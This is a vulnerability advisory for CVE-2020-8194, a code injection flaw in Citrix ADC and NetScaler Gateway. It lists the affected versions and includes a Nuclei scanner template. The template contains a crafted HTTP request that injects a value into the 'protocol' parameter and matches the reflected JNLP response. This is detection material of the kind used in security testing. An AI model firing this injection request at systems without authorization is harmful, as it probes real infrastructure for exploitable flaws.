Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download.
PoC代码[已公开]
id: CVE-2020-8194
info:
name: Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection
author: dwisiswant0
severity: medium
description: Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
reference:
- https://support.citrix.com/article/CTX276688
- https://nvd.nist.gov/vuln/detail/CVE-2020-8194
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/SexyBeast233/SecBooks
- https://github.com/merlinepedra/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2020-8194
cwe-id: CWE-94
epss-score: 0.78477
epss-percentile: 0.99001
cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: citrix
product: application_delivery_controller_firmware
tags: cve,cve2020,citrix
http:
- raw:
- |
GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
Host: {{Hostname}}
Cookie: startupapp=st
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<jnlp codebase=\"nonexistent.1337\">"
- type: word
part: header
words:
- "application/x-java-jnlp-file"
- type: status
status:
- 200
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